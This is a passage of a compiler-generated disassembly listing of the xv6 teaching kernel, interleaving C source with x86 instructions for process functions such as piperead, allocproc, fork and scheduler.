00 00 lea 0x234(%esi),%ebx 80103415: eb 25 jmp 8010343c <piperead+0x5c> 80103417: 90 nop 80103418: 89 74 24 04 mov %esi,0x4(%esp) 8010341c: 89 1c 24 mov %ebx,(%esp) 8010341f: e8 dc 07 00 00 call 80103c00 <sleep> while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty 80103424: 8b 86 34 02 00 00 mov 0x234(%esi),%eax 8010342a: 3b 86 38 02 00 00 cmp 0x238(%esi),%eax 80103430: 75 2e jne 80103460 <piperead+0x80> 80103432: 8b 96 40 02 00 00 mov 0x240(%esi),%edx 80103438: 85 d2 test %edx,%edx 8010343a: 74 24 je 80103460 <piperead+0x80> if(myproc()->killed){ 8010343c: e8 5f 02 00 00 call 801036a0 <myproc> 80103441: 8b 48 24 mov 0x24(%eax),%ecx 80103444: 85 c9 test %ecx,%ecx 80103446: 74 d0 je 80103418 <piperead+0x38> release(&p->lock); 80103448: 89 34 24 mov %esi,(%esp) 8010344b: e8 00 0e 00 00 call 80104250 <release> addr[i] = p->data[p->nread++ % PIPESIZE]; } wakeup(&p->nwrite); //DOC: piperead-wakeup release(&p->lock); return i; } 80103450: 83 c4 1c add $0x1c,%esp return -1; 80103453: b8 ff ff ff ff mov $0xffffffff,%eax } 80103458: 5b pop %ebx 80103459: 5e pop %esi 8010345a: 5f pop %edi 8010345b: 5d pop %ebp 8010345c: c3 ret 8010345d: 8d 76 00 lea 0x0(%esi),%esi for(i = 0; i < n; i++){ //DOC: piperead-copy 80103460: 8b 55 10 mov 0x10(%ebp),%edx if(p->nread == p->nwrite) 80103463: 31 db xor %ebx,%ebx for(i = 0; i < n; i++){ //DOC: piperead-copy 80103465: 85 d2 test %edx,%edx 80103467: 7f 2b jg 80103494 <piperead+0xb4> 80103469: eb 31 jmp 8010349c <piperead+0xbc> 8010346b: 90 nop 8010346c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi addr[i] = p->data[p->nread++ % PIPESIZE]; 80103470: 8d 48 01 lea 0x1(%eax),%ecx 80103473: 25 ff 01 00 00 and $0x1ff,%eax 80103478: 89 8e 34 02 00 00 mov %ecx,0x234(%esi) 8010347e: 0f b6 44 06 34 movzbl 0x34(%esi,%eax,1),%eax 80103483: 88 04 1f mov %al,(%edi,%ebx,1) for(i = 0; i < n; i++){ //DOC: piperead-copy 80103486: 83 c3 01 add $0x1,%ebx 80103489: 3b 5d 10 cmp 0x10(%ebp),%ebx 8010348c: 74 0e je 8010349c <piperead+0xbc> if(p->nread == p->nwrite) 8010348e: 8b 86 34 02 00 00 mov 0x234(%esi),%eax 80103494: 3b 86 38 02 00 00 cmp 0x238(%esi),%eax 8010349a: 75 d4 jne 80103470 <piperead+0x90> wakeup(&p->nwrite); //DOC: piperead-wakeup 8010349c: 8d 86 38 02 00 00 lea 0x238(%esi),%eax 801034a2: 89 04 24 mov %eax,(%esp) 801034a5: e8 e6 08 00 00 call 80103d90 <wakeup> release(&p->lock); 801034aa: 89 34 24 mov %esi,(%esp) 801034ad: e8 9e 0d 00 00 call 80104250 <release> } 801034b2: 83 c4 1c add $0x1c,%esp return i; 801034b5: 89 d8 mov %ebx,%eax } 801034b7: 5b pop %ebx 801034b8: 5e pop %esi 801034b9: 5f pop %edi 801034ba: 5d pop %ebp 801034bb: c3 ret 801034bc: 66 90 xchg %ax,%ax 801034be: 66 90 xchg %ax,%ax 801034c0 <allocproc>: // If found, change state to EMBRYO and initialize // state required to run in the kernel. // Otherwise return 0. static struct proc* allocproc(void) { 801034c0: 55 push %ebp 801034c1: 89 e5 mov %esp,%ebp 801034c3: 53 push %ebx struct proc *p; char *sp; acquire(&ptable.lock); for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 801034c4: bb 54 2d 11 80 mov $0x80112d54,%ebx { 801034c9: 83 ec 14 sub $0x14,%esp acquire(&ptable.lock); 801034cc: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 801034d3: e8 08 0d 00 00 call 801041e0 <acquire> 801034d8: eb 11 jmp 801034eb <allocproc+0x2b> 801034da: 8d b6 00 00 00 00 lea 0x0(%esi),%esi for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 801034e0: 83 c3 7c add $0x7c,%ebx 801034e3: 81 fb 54 4c 11 80 cmp $0x80114c54,%ebx 801034e9: 74 7d je 80103568 <allocproc+0xa8> if(p->state == UNUSED) 801034eb: 8b 43 0c mov 0xc(%ebx),%eax 801034ee: 85 c0 test %eax,%eax 801034f0: 75 ee jne 801034e0 <allocproc+0x20> release(&ptable.lock); return 0; found: p->state = EMBRYO; p->pid = nextpid++; 801034f2: a1 04 a0 10 80 mov 0x8010a004,%eax release(&ptable.lock); 801034f7: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) p->state = EMBRYO; 801034fe: c7 43 0c 01 00 00 00 movl $0x1,0xc(%ebx) p->pid = nextpid++; 80103505: 8d 50 01 lea 0x1(%eax),%edx 80103508: 89 15 04 a0 10 80 mov %edx,0x8010a004 8010350e: 89 43 10 mov %eax,0x10(%ebx) release(&ptable.lock); 80103511: e8 3a 0d 00 00 call 80104250 <release> // Allocate kernel stack. if((p->kstack = kalloc()) == 0){ 80103516: e8 85 ef ff ff call 801024a0 <kalloc> 8010351b: 85 c0 test %eax,%eax 8010351d: 89 43 08 mov %eax,0x8(%ebx) 80103520: 74 5a je 8010357c <allocproc+0xbc> return 0; } sp = p->kstack + KSTACKSIZE; // Leave room for trap frame. sp -= sizeof *p->tf; 80103522: 8d 90 b4 0f 00 00 lea 0xfb4(%eax),%edx // Set up new context to start executing at forkret, // which returns to trapret. sp -= 4; *(uint*)sp = (uint)trapret; sp -= sizeof *p->context; 80103528: 05 9c 0f 00 00 add $0xf9c,%eax sp -= sizeof *p->tf; 8010352d: 89 53 18 mov %edx,0x18(%ebx) *(uint*)sp = (uint)trapret; 80103530: c7 40 14 d5 53 10 80 movl $0x801053d5,0x14(%eax) p->context = (struct context*)sp; memset(p->context, 0, sizeof *p->context); 80103537: c7 44 24 08 14 00 00 movl $0x14,0x8(%esp) 8010353e: 00 8010353f: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80103546: 00 80103547: 89 04 24 mov %eax,(%esp) p->context = (struct context*)sp; 8010354a: 89 43 1c mov %eax,0x1c(%ebx) memset(p->context, 0, sizeof *p->context); 8010354d: e8 4e 0d 00 00 call 801042a0 <memset> p->context->eip = (uint)forkret; 80103552: 8b 43 1c mov 0x1c(%ebx),%eax 80103555: c7 40 10 90 35 10 80 movl $0x80103590,0x10(%eax) return p; 8010355c: 89 d8 mov %ebx,%eax } 8010355e: 83 c4 14 add $0x14,%esp 80103561: 5b pop %ebx 80103562: 5d pop %ebp 80103563: c3 ret 80103564: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi release(&ptable.lock); 80103568: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 8010356f: e8 dc 0c 00 00 call 80104250 <release> } 80103574: 83 c4 14 add $0x14,%esp return 0; 80103577: 31 c0 xor %eax,%eax } 80103579: 5b pop %ebx 8010357a: 5d pop %ebp 8010357b: c3 ret p->state = UNUSED; 8010357c: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx) return 0; 80103583: eb d9 jmp 8010355e <allocproc+0x9e> 80103585: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80103589: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103590 <forkret>: // A fork child's very first scheduling by scheduler() // will swtch here. "Return" to user space. void forkret(void) { 80103590: 55 push %ebp 80103591: 89 e5 mov %esp,%ebp 80103593: 83 ec 18 sub $0x18,%esp static int first = 1; // Still holding ptable.lock from scheduler. release(&ptable.lock); 80103596: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 8010359d: e8 ae 0c 00 00 call 80104250 <release> if (first) { 801035a2: a1 00 a0 10 80 mov 0x8010a000,%eax 801035a7: 85 c0 test %eax,%eax 801035a9: 75 05 jne 801035b0 <forkret+0x20> iinit(ROOTDEV); initlog(ROOTDEV); } // Return to "caller", actually trapret (see allocproc). } 801035ab: c9 leave 801035ac: c3 ret 801035ad: 8d 76 00 lea 0x0(%esi),%esi iinit(ROOTDEV); 801035b0: c7 04 24 01 00 00 00 movl $0x1,(%esp) first = 0; 801035b7: c7 05 00 a0 10 80 00 movl $0x0,0x8010a000 801035be: 00 00 00 iinit(ROOTDEV); 801035c1: e8 aa de ff ff call 80101470 <iinit> initlog(ROOTDEV); 801035c6: c7 04 24 01 00 00 00 movl $0x1,(%esp) 801035cd: e8 9e f4 ff ff call 80102a70 <initlog> } 801035d2: c9 leave 801035d3: c3 ret 801035d4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801035da: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 801035e0 <pinit>: { 801035e0: 55 push %ebp 801035e1: 89 e5 mov %esp,%ebp 801035e3: 83 ec 18 sub $0x18,%esp initlock(&ptable.lock, "ptable"); 801035e6: c7 44 24 04 35 71 10 movl $0x80107135,0x4(%esp) 801035ed: 80 801035ee: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 801035f5: e8 76 0a 00 00 call 80104070 <initlock> } 801035fa: c9 leave 801035fb: c3 ret 801035fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80103600 <mycpu>: { 80103600: 55 push %ebp 80103601: 89 e5 mov %esp,%ebp 80103603: 56 push %esi 80103604: 53 push %ebx 80103605: 83 ec 10 sub $0x10,%esp asm volatile("pushfl; popl %0" : "=r" (eflags)); 80103608: 9c pushf 80103609: 58 pop %eax if(readeflags()&FL_IF) 8010360a: f6 c4 02 test $0x2,%ah 8010360d: 75 57 jne 80103666 <mycpu+0x66> apicid = lapicid(); 8010360f: e8 4c f1 ff ff call 80102760 <lapicid> for (i = 0; i < ncpu; ++i) { 80103614: 8b 35 00 2d 11 80 mov 0x80112d00,%esi 8010361a: 85 f6 test %esi,%esi 8010361c: 7e 3c jle 8010365a <mycpu+0x5a> if (cpus[i].apicid == apicid) 8010361e: 0f b6 15 80 27 11 80 movzbl 0x80112780,%edx 80103625: 39 c2 cmp %eax,%edx 80103627: 74 2d je 80103656 <mycpu+0x56> 80103629: b9 30 28 11 80 mov $0x80112830,%ecx for (i = 0; i < ncpu; ++i) { 8010362e: 31 d2 xor %edx,%edx 80103630: 83 c2 01 add $0x1,%edx 80103633: 39 f2 cmp %esi,%edx 80103635: 74 23 je 8010365a <mycpu+0x5a> if (cpus[i].apicid == apicid) 80103637: 0f b6 19 movzbl (%ecx),%ebx 8010363a: 81 c1 b0 00 00 00 add $0xb0,%ecx 80103640: 39 c3 cmp %eax,%ebx 80103642: 75 ec jne 80103630 <mycpu+0x30> return &cpus[i]; 80103644: 69 c2 b0 00 00 00 imul $0xb0,%edx,%eax } 8010364a: 83 c4 10 add $0x10,%esp 8010364d: 5b pop %ebx 8010364e: 5e pop %esi 8010364f: 5d pop %ebp return &cpus[i]; 80103650: 05 80 27 11 80 add $0x80112780,%eax } 80103655: c3 ret for (i = 0; i < ncpu; ++i) { 80103656: 31 d2 xor %edx,%edx 80103658: eb ea jmp 80103644 <mycpu+0x44> panic("unknown apicid\n"); 8010365a: c7 04 24 3c 71 10 80 movl $0x8010713c,(%esp) 80103661: e8 fa cc ff ff call 80100360 <panic> panic("mycpu called with interrupts enabled\n"); 80103666: c7 04 24 18 72 10 80 movl $0x80107218,(%esp) 8010366d: e8 ee cc ff ff call 80100360 <panic> 80103672: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80103679: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103680 <cpuid>: cpuid() { 80103680: 55 push %ebp 80103681: 89 e5 mov %esp,%ebp 80103683: 83 ec 08 sub $0x8,%esp return mycpu()-cpus; 80103686: e8 75 ff ff ff call 80103600 <mycpu> } 8010368b: c9 leave return mycpu()-cpus; 8010368c: 2d 80 27 11 80 sub $0x80112780,%eax 80103691: c1 f8 04 sar $0x4,%eax 80103694: 69 c0 a3 8b 2e ba imul $0xba2e8ba3,%eax,%eax } 8010369a: c3 ret 8010369b: 90 nop 8010369c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801036a0 <myproc>: myproc(void) { 801036a0: 55 push %ebp 801036a1: 89 e5 mov %esp,%ebp 801036a3: 53 push %ebx 801036a4: 83 ec 04 sub $0x4,%esp pushcli(); 801036a7: e8 44 0a 00 00 call 801040f0 <pushcli> c = mycpu(); 801036ac: e8 4f ff ff ff call 80103600 <mycpu> p = c->proc; 801036b1: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx popcli(); 801036b7: e8 74 0a 00 00 call 80104130 <popcli> } 801036bc: 83 c4 04 add $0x4,%esp 801036bf: 89 d8 mov %ebx,%eax 801036c1: 5b pop %ebx 801036c2: 5d pop %ebp 801036c3: c3 ret 801036c4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801036ca: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 801036d0 <userinit>: { 801036d0: 55 push %ebp 801036d1: 89 e5 mov %esp,%ebp 801036d3: 53 push %ebx 801036d4: 83 ec 14 sub $0x14,%esp p = allocproc(); 801036d7: e8 e4 fd ff ff call 801034c0 <allocproc> 801036dc: 89 c3 mov %eax,%ebx initproc = p; 801036de: a3 b8 a5 10 80 mov %eax,0x8010a5b8 if((p->pgdir = setupkvm()) == 0) 801036e3: e8 58 32 00 00 call 80106940 <setupkvm> 801036e8: 85 c0 test %eax,%eax 801036ea: 89 43 04 mov %eax,0x4(%ebx) 801036ed: 0f 84 d4 00 00 00 je 801037c7 <userinit+0xf7> inituvm(p->pgdir, _binary_initcode_start, (int)_binary_initcode_size); 801036f3: 89 04 24 mov %eax,(%esp) 801036f6: c7 44 24 08 2c 00 00 movl $0x2c,0x8(%esp) 801036fd: 00 801036fe: c7 44 24 04 60 a4 10 movl $0x8010a460,0x4(%esp) 80103705: 80 80103706: e8 65 2f 00 00 call 80106670 <inituvm> p->sz = PGSIZE; 8010370b: c7 03 00 10 00 00 movl $0x1000,(%ebx) memset(p->tf, 0, sizeof(*p->tf)); 80103711: c7 44 24 08 4c 00 00 movl $0x4c,0x8(%esp) 80103718: 00 80103719: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80103720: 00 80103721: 8b 43 18 mov 0x18(%ebx),%eax 80103724: 89 04 24 mov %eax,(%esp) 80103727: e8 74 0b 00 00 call 801042a0 <memset> p->tf->cs = (SEG_UCODE << 3) | DPL_USER; 8010372c: 8b 43 18 mov 0x18(%ebx),%eax 8010372f: ba 1b 00 00 00 mov $0x1b,%edx p->tf->ds = (SEG_UDATA << 3) | DPL_USER; 80103734: b9 23 00 00 00 mov $0x23,%ecx p->tf->cs = (SEG_UCODE << 3) | DPL_USER; 80103739: 66 89 50 3c mov %dx,0x3c(%eax) p->tf->ds = (SEG_UDATA << 3) | DPL_USER; 8010373d: 8b 43 18 mov 0x18(%ebx),%eax 80103740: 66 89 48 2c mov %cx,0x2c(%eax) p->tf->es = p->tf->ds; 80103744: 8b 43 18 mov 0x18(%ebx),%eax 80103747: 0f b7 50 2c movzwl 0x2c(%eax),%edx 8010374b: 66 89 50 28 mov %dx,0x28(%eax) p->tf->ss = p->tf->ds; 8010374f: 8b 43 18 mov 0x18(%ebx),%eax 80103752: 0f b7 50 2c movzwl 0x2c(%eax),%edx 80103756: 66 89 50 48 mov %dx,0x48(%eax) p->tf->eflags = FL_IF; 8010375a: 8b 43 18 mov 0x18(%ebx),%eax 8010375d: c7 40 40 00 02 00 00 movl $0x200,0x40(%eax) p->tf->esp = PGSIZE; 80103764: 8b 43 18 mov 0x18(%ebx),%eax 80103767: c7 40 44 00 10 00 00 movl $0x1000,0x44(%eax) p->tf->eip = 0; // beginning of initcode.S 8010376e: 8b 43 18 mov 0x18(%ebx),%eax 80103771: c7 40 38 00 00 00 00 movl $0x0,0x38(%eax) safestrcpy(p->name, "initcode", sizeof(p->name)); 80103778: 8d 43 6c lea 0x6c(%ebx),%eax 8010377b: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp) 80103782: 00 80103783: c7 44 24 04 65 71 10 movl $0x80107165,0x4(%esp) 8010378a: 80 8010378b: 89 04 24 mov %eax,(%esp) 8010378e: e8 ed 0c 00 00 call 80104480 <safestrcpy> p->cwd = namei("/"); 80103793: c7 04 24 6e 71 10 80 movl $0x8010716e,(%esp) 8010379a: e8 61 e7 ff ff call 80101f00 <namei> 8010379f: 89 43 68 mov %eax,0x68(%ebx) acquire(&ptable.lock); 801037a2: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 801037a9: e8 32 0a 00 00 call 801041e0 <acquire> p->state = RUNNABLE; 801037ae: c7 43 0c 03 00 00 00 movl $0x3,0xc(%ebx) release(&ptable.lock); 801037b5: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 801037bc: e8 8f 0a 00 00 call 80104250 <release> } 801037c1: 83 c4 14 add $0x14,%esp 801037c4: 5b pop %ebx 801037c5: 5d pop %ebp 801037c6: c3 ret panic("userinit: out of memory?"); 801037c7: c7 04 24 4c 71 10 80 movl $0x8010714c,(%esp) 801037ce: e8 8d cb ff ff call 80100360 <panic> 801037d3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801037d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801037e0 <growproc>: { 801037e0: 55 push %ebp 801037e1: 89 e5 mov %esp,%ebp 801037e3: 56 push %esi 801037e4: 53 push %ebx 801037e5: 83 ec 10 sub $0x10,%esp 801037e8: 8b 75 08 mov 0x8(%ebp),%esi struct proc *curproc = myproc(); 801037eb: e8 b0 fe ff ff call 801036a0 <myproc> if(n > 0){ 801037f0: 83 fe 00 cmp $0x0,%esi struct proc *curproc = myproc(); 801037f3: 89 c3 mov %eax,%ebx sz = curproc->sz; 801037f5: 8b 00 mov (%eax),%eax if(n > 0){ 801037f7: 7e 2f jle 80103828 <growproc+0x48> if((sz = allocuvm(curproc->pgdir, sz, sz + n)) == 0) 801037f9: 01 c6 add %eax,%esi 801037fb: 89 74 24 08 mov %esi,0x8(%esp) 801037ff: 89 44 24 04 mov %eax,0x4(%esp) 80103803: 8b 43 04 mov 0x4(%ebx),%eax 80103806: 89 04 24 mov %eax,(%esp) 80103809: e8 a2 2f 00 00 call 801067b0 <allocuvm> 8010380e: 85 c0 test %eax,%eax 80103810: 74 36 je 80103848 <growproc+0x68> curproc->sz = sz; 80103812: 89 03 mov %eax,(%ebx) switchuvm(curproc); 80103814: 89 1c 24 mov %ebx,(%esp) 80103817: e8 44 2d 00 00 call 80106560 <switchuvm> return 0; 8010381c: 31 c0 xor %eax,%eax } 8010381e: 83 c4 10 add $0x10,%esp 80103821: 5b pop %ebx 80103822: 5e pop %esi 80103823: 5d pop %ebp 80103824: c3 ret 80103825: 8d 76 00 lea 0x0(%esi),%esi } else if(n < 0){ 80103828: 74 e8 je 80103812 <growproc+0x32> if((sz = deallocuvm(curproc->pgdir, sz, sz + n)) == 0) 8010382a: 01 c6 add %eax,%esi 8010382c: 89 74 24 08 mov %esi,0x8(%esp) 80103830: 89 44 24 04 mov %eax,0x4(%esp) 80103834: 8b 43 04 mov 0x4(%ebx),%eax 80103837: 89 04 24 mov %eax,(%esp) 8010383a: e8 61 30 00 00 call 801068a0 <deallocuvm> 8010383f: 85 c0 test %eax,%eax 80103841: 75 cf jne 80103812 <growproc+0x32> 80103843: 90 nop 80103844: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return -1; 80103848: b8 ff ff ff ff mov $0xffffffff,%eax 8010384d: eb cf jmp 8010381e <growproc+0x3e> 8010384f: 90 nop 80103850 <fork>: { 80103850: 55 push %ebp 80103851: 89 e5 mov %esp,%ebp 80103853: 57 push %edi 80103854: 56 push %esi 80103855: 53 push %ebx 80103856: 83 ec 1c sub $0x1c,%esp struct proc *curproc = myproc(); 80103859: e8 42 fe ff ff call 801036a0 <myproc> 8010385e: 89 c3 mov %eax,%ebx if((np = allocproc()) == 0){ 80103860: e8 5b fc ff ff call 801034c0 <allocproc> 80103865: 85 c0 test %eax,%eax 80103867: 89 c7 mov %eax,%edi 80103869: 89 45 e4 mov %eax,-0x1c(%ebp) 8010386c: 0f 84 bc 00 00 00 je 8010392e <fork+0xde> if((np->pgdir = copyuvm(curproc->pgdir, curproc->sz)) == 0){ 80103872: 8b 03 mov (%ebx),%eax 80103874: 89 44 24 04 mov %eax,0x4(%esp) 80103878: 8b 43 04 mov 0x4(%ebx),%eax 8010387b: 89 04 24 mov %eax,(%esp) 8010387e: e8 9d 31 00 00 call 80106a20 <copyuvm> 80103883: 85 c0 test %eax,%eax 80103885: 89 47 04 mov %eax,0x4(%edi) 80103888: 0f 84 a7 00 00 00 je 80103935 <fork+0xe5> np->sz = curproc->sz; 8010388e: 8b 03 mov (%ebx),%eax 80103890: 8b 4d e4 mov -0x1c(%ebp),%ecx 80103893: 89 01 mov %eax,(%ecx) *np->tf = *curproc->tf; 80103895: 8b 79 18 mov 0x18(%ecx),%edi 80103898: 89 c8 mov %ecx,%eax np->parent = curproc; 8010389a: 89 59 14 mov %ebx,0x14(%ecx) *np->tf = *curproc->tf; 8010389d: 8b 73 18 mov 0x18(%ebx),%esi 801038a0: b9 13 00 00 00 mov $0x13,%ecx 801038a5: f3 a5 rep movsl %ds:(%esi),%es:(%edi) for(i = 0; i < NOFILE; i++) 801038a7: 31 f6 xor %esi,%esi np->tf->eax = 0; 801038a9: 8b 40 18 mov 0x18(%eax),%eax 801038ac: c7 40 1c 00 00 00 00 movl $0x0,0x1c(%eax) 801038b3: 90 nop 801038b4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(curproc->ofile[i]) 801038b8: 8b 44 b3 28 mov 0x28(%ebx,%esi,4),%eax 801038bc: 85 c0 test %eax,%eax 801038be: 74 0f je 801038cf <fork+0x7f> np->ofile[i] = filedup(curproc->ofile[i]); 801038c0: 89 04 24 mov %eax,(%esp) 801038c3: e8 18 d5 ff ff call 80100de0 <filedup> 801038c8: 8b 55 e4 mov -0x1c(%ebp),%edx 801038cb: 89 44 b2 28 mov %eax,0x28(%edx,%esi,4) for(i = 0; i < NOFILE; i++) 801038cf: 83 c6 01 add $0x1,%esi 801038d2: 83 fe 10 cmp $0x10,%esi 801038d5: 75 e1 jne 801038b8 <fork+0x68> np->cwd = idup(curproc->cwd); 801038d7: 8b 43 68 mov 0x68(%ebx),%eax safestrcpy(np->name, curproc->name, sizeof(curproc->name)); 801038da: 83 c3 6c add $0x6c,%ebx np->cwd = idup(curproc->cwd); 801038dd: 89 04 24 mov %eax,(%esp) 801038e0: e8 9b dd ff ff call 80101680 <idup> 801038e5: 8b 7d e4 mov -0x1c(%ebp),%edi 801038e8: 89 47 68 mov %eax,0x68(%edi) safestrcpy(np->name, curproc->name, sizeof(curproc->name)); 801038eb: 8d 47 6c lea 0x6c(%edi),%eax 801038ee: 89 5c 24 04 mov %ebx,0x4(%esp) 801038f2: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp) 801038f9: 00 801038fa: 89 04 24 mov %eax,(%esp) 801038fd: e8 7e 0b 00 00 call 80104480 <safestrcpy> pid = np->pid; 80103902: 8b 5f 10 mov 0x10(%edi),%ebx acquire(&ptable.lock); 80103905: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 8010390c: e8 cf 08 00 00 call 801041e0 <acquire> np->state = RUNNABLE; 80103911: c7 47 0c 03 00 00 00 movl $0x3,0xc(%edi) release(&ptable.lock); 80103918: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 8010391f: e8 2c 09 00 00 call 80104250 <release> return pid; 80103924: 89 d8 mov %ebx,%eax } 80103926: 83 c4 1c add $0x1c,%esp 80103929: 5b pop %ebx 8010392a: 5e pop %esi 8010392b: 5f pop %edi 8010392c: 5d pop %ebp 8010392d: c3 ret return -1; 8010392e: b8 ff ff ff ff mov $0xffffffff,%eax 80103933: eb f1 jmp 80103926 <fork+0xd6> kfree(np->kstack); 80103935: 8b 7d e4 mov -0x1c(%ebp),%edi 80103938: 8b 47 08 mov 0x8(%edi),%eax 8010393b: 89 04 24 mov %eax,(%esp) 8010393e: e8 ad e9 ff ff call 801022f0 <kfree> return -1; 80103943: b8 ff ff ff ff mov $0xffffffff,%eax np->kstack = 0; 80103948: c7 47 08 00 00 00 00 movl $0x0,0x8(%edi) np->state = UNUSED; 8010394f: c7 47 0c 00 00 00 00 movl $0x0,0xc(%edi) return -1; 80103956: eb ce jmp 80103926 <fork+0xd6> 80103958: 90 nop 80103959: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80103960 <scheduler>: { 80103960: 55 push %ebp 80103961: 89 e5 mov %esp,%ebp 80103963: 57 push %edi 80103964: 56 push %esi 80103965: 53 push %ebx 80103966: 83 ec 1c sub $0x1c,%esp struct cpu *c = mycpu(); 80103969: e8 92 fc ff ff call 80103600 <mycpu> 8010396e: 89 c6 mov %eax,%esi c->proc = 0; 80103970: c7 80 ac 00 00 00 00 movl $0x0,0xac(%eax) 80103977: 00 00 00 8010397a: 8d 78 04 lea 0x4(%eax),%edi 8010397d: 8d 76 00 lea 0x0(%esi),%esi asm volatile("sti"); 80103980: fb sti acquire(&ptable.lock); 80103981: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103988: bb 54 2d 11 80 mov $0x80112d54,%ebx acquire(&ptable.lock); 8010398d: e8 4e 08 00 00 call 801041e0 <acquire> 80103992: eb 0f jmp 801039a3 <scheduler+0x43> 80103994: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103998: 83 c3 7c add $0x7c,%ebx 8010399b: 81 fb 54 4c 11 80 cmp $0x80114c54,%ebx 801039a1: 74 45 je 801039e8 <scheduler+0x88> if(p->state != RUNNABLE) 801039a3: 83 7b 0c 03 cmpl $0x3,0xc(%ebx) 801039a7: 75 ef jne 80103998 <scheduler+0x38> c->proc = p; 801039a9: 89 9e ac 00 00 00 mov %ebx,0xac(%esi) switchuvm(p); 801039af: 89 1c 24 mov %ebx,(%esp) for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 801039b2: 83 c3 7c add $0x7c,%ebx switchuvm(p); 801039b5: e8 a6 2b 00 00 call 80106560 <switchuvm> swtch(&(c->scheduler), p->context); 801039ba: 8b 43 a0 mov -0x60(%ebx),%eax p->state = RUNNING; 801039bd: c7 43 90 04 00 00 00 movl $0x4,-0x70(%ebx) swtch(&(c->scheduler), p->context); 801039c4: 89 3c 24 mov %edi,(%esp) 801039c7: 89 44 24 04 mov %eax,0x4(%esp) 801039cb: e8 0b 0b 00 00 call 801044db <swtch> switchkvm(); 801039d0: e8 6b 2b 00 00 call 80106540 <switchkvm> for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 801039d5: 81 fb 54 4c 11 80 cmp $0x80114c54,%ebx c->proc = 0; 801039db: c7 86 ac 00 00 00 00 movl $0x0,0xac(%esi) 801039e2: 00 00 00 for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 801039e5: 75 bc jne 801039a3 <scheduler+0x43> 801039e7: 90 nop release(&ptable.lock); 801039e8: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 801039ef: e8 5c 08 00 00 call 80104250 <release> } 801039f4: eb 8a jmp 80103980 <scheduler+0x20> 801039f6: 8d 76 00 lea 0x0(%esi),%esi 801039f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103a00 <sched>: { 80103a00: 55 push %ebp 80103a01: 89 e5 mov %esp,%ebp 80103a03: 56 push %esi 80103a04: 53 push %ebx 80103a05: 83 ec 10 sub $0x10,%esp struct proc *p = myproc(); 80103a08: e8 93 fc ff ff call 801036a0 <myproc> if(!holding(&ptable.lock)) 80103a0d: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) struct proc *p = myproc(); 80103a14: 89 c3 mov %eax,%ebx if(!holding(&ptable.lock)) 80103a16: e8 85 07 00 00 call 801041a0 <holding> 80103a1b: 85 c0 test %eax,%eax 80103a1d: 74 4f je 80103a6e <sched+0x6e> if(mycpu()->ncli != 1) 80103a1f: e8 dc fb ff ff call 80103600 <mycpu> 80103a24: 83 b8 a4 00 00 00 01 cmpl $0x1,0xa4(%eax) 80103a2b: 75 65 jne 80103a92 <sched+0x92> if(p->state == RUNNING) 80103a2d: 83 7b 0c 04 cmpl $0x4,0xc(%ebx) 80103a31: 74 53 je 80103a86 <sched+0x86> asm volatile("pushfl; popl %0" : "=r" (eflags)); 80103a33: 9c pushf 80103a34: 58 pop %eax if(readeflags()&FL_IF) 80103a35: f6 c4 02 test $0x2,%ah 80103a38: 75 40 jne 80103a7a <sched+0x7a> intena = mycpu()->intena; 80103a3a: e8 c1 fb ff ff call 80103600 <mycpu> swtch(&p->context, mycpu()->scheduler); 80103a3f: 83 c3 1c add $0x1c,%ebx intena = mycpu()->intena; 80103a42: 8b b0 a8 00 00 00 mov 0xa8(%eax),%esi swtch(&p->context, mycpu()->scheduler); 80103a48: e8 b3 fb ff ff call 80103600 <mycpu> 80103a4d: 8b 40 04 mov 0x4(%eax),%eax 80103a50: 89 1c 24 mov %ebx,(%esp) 80103a53: 89 44 24 04 mov %eax,0x4(%esp) 80103a57: e8 7f 0a 00 00 call 801044db <swtch> mycpu()->intena = intena; 80103a5c: e8 9f fb ff ff call 80103600 <mycpu> 80103a61: 89 b0 a8 00 00 00 mov %esi,0xa8(%eax) } 80103a67: 83 c4 10 add $0x10,%esp 80103a6a: 5b pop %ebx 